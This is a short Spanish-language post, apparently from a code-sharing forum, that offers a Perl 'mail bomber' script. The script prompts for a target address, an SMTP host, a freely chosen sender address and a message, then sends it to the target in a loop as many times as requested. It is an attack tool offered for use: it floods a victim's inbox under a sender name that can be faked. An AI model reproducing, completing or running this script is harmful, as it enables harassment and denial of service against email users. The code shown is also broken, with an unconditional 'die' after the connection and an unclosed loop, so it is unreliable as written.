Codigo de un mail bomber

Aqui les dejo este codigo mail bomber programado en PERL

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

#!/usr/bin/perl print " |---------------------------------------------|\n"; print " | Mail bomber by pr0xXx0r |\n"; print " | Created for Code-Maker.es |\n"; print " | root-pr0xxx0rd@.hotmail.com |\n"; print " |---------------------------------------------|\n"; use Net::SMTP; print "Buenas, cuantos mails bombs deseas hacer:"; $n = <STDIN>; print "Introduzca el mailhost al que desea solicitar la conexion:"; $mailhost = <STDIN>; print "Introduzca el email que desea utilizar:"; $emailfrom = <STDIN>; print "Introduzca el email que desea bombear:"; $emailto = <STDIN>; print "Introduzca el asunto del correo:"; $asunto = <STDIN>; print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):"; $sms = <STDIN>; for ($a=1;$a<=$n;$a++) { $smtp = Net::SMTP->new("$mailhost", Hello => "$mailhost", Timeout =>25, Debug =>1, ); die "No se ha podido conectar al servidor"; print $smtp->domain,"\n"; $smtp->mail("$emailfrom"); $smtp->to("$emailto"); $smtp->data(); $smtp->datasend("To: $emailto"); $smtp->datasend("From: $emailfrom"); $smtp->datasend("Subject:$asunto\n"); $smtp->datasend("$sms"); $smtp->dataend(); $smtp->quit();